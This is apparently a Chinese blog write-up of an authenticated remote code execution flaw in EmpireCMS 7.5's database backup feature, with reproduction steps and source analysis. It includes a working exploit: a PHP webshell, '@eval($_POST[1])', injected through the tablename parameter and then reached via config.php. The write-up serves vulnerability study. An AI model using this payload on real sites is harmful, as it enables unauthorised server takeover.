帝国CMS RCE CNVD-2018-19126

1.漏洞复现

帝国CMS 7.5,http://ecms.phome.net/downcenter/empirecms/ecms75/download/EmpireCMS_7.5_SC_UTF8.zip

复现

登录后台

系统->备份与恢复数据->备份数据(随便选一个表)->开始备份(抓包)

POST /e/admin/ebak/phome.php HTTP/1.1
...
...&phome=DoEbak&...&tablename%5B%5D=phome_ecms_article&...

将 tablename[] 的值改为 @eval($_POST[1])

系统->备份与恢复数据->管理备份目录->查看备份说明

一句话木马路径:当前 URL 将 readme.txt 改为 config.php

2.正向分析

从可见功能点正向分析

/e/admin/ebak/phome.php

$phome=$_GET['phome'];
...
//初使化备份表
elseif($phome=="DoEbak")
{
  Ebak_DoEbak($_POST,$logininid,$loginin);
}

调用了 Ebak_DoEbak函数 处理 POST请求

/e/admin/ebak/class/functions.php

Ebak_DoEbak函数

//初使化备份
function Ebak_DoEbak($add,$userid,$username){
  ...
  $tablename=$add['tablename'];
  $count=count($tablename);
  ...
  $b_table="";
  ...
  for($i=0;$i<$count;$i++){
    $tablename[$i]=RepPostVar($tablename[$i]);
    $b_table.=$tablename[$i].",";
    ...
  }
  //去掉最后一个,
  $b_table=substr($b_table,0,strlen($b_table)-1);
  ...
  $string="<?php
  \$b_table=\"".$b_table."\";
  ...
  ?>";
  $cfile=$bakpath."/".$add['mypath']."/config.php";
  WriteFiletext_n($cfile,$string);

$add 是 $_POST,一句话被 RepPostVar函数 过滤后传入 $b_table,最后通过 WriteFiletext_n函数 写入 config.php

/e/class/connect.php

RepPostVar函数

没有过滤掉一句话

//参数处理函数
function RepPostVar($val){
  if($val!=addslashes($val))
  {
    exit();
  }
  CkPostStrChar($val);
  $val=str_replace("%","",$val);
  $val=str_replace(" ","",$val);
  $val=str_replace("`","",$val);
  $val=str_replace("\t","",$val);
  $val=str_replace("%20","",$val);
  $val=str_replace("%27","",$val);
  $val=str_replace("*","",$val);
  $val=str_replace("'","",$val);
  $val=str_replace("\"","",$val);
  $val=str_replace("/","",$val);
  $val=str_replace(";","",$val);
  $val=str_replace("#","",$val);
  $val=str_replace("--","",$val);
  $val=RepPostStr($val,1);
  $val=addslashes($val);
  //FireWall
  FWClearGetText($val);
  return $val;
}

WriteFiletext_n函数

直接写入文件

//写文件
function WriteFiletext_n($filepath,$string){
  global $public_r;
  $fp=@fopen($filepath,"w");
  @fputs($fp,$string);
  @fclose($fp);
  if(empty($public_r[filechmod]))
  {
    @chmod($filepath,0777);
  }
}

/e/admin/ebak/class/functions.php

Ebak_DoEbak函数

思路回到 Ebak_DoEbak函数

//初使化备份
function Ebak_DoEbak($add,$userid,$username){
  ...
  $rfile=$bakpath."/".$add['mypath']."/readme.txt";
  ...
  $cfile=$bakpath."/".$add['mypath']."/config.php";
  WriteFiletext_n($cfile,$string);

可以看出来 readme.txt 和 config.php 的路径是一样的,而 readme.txt 的路径是可知的,造成了RCE

posted @ 2023-05-07 16:10  Hacker&Cat  阅读(64)  评论(0编辑  收藏  举报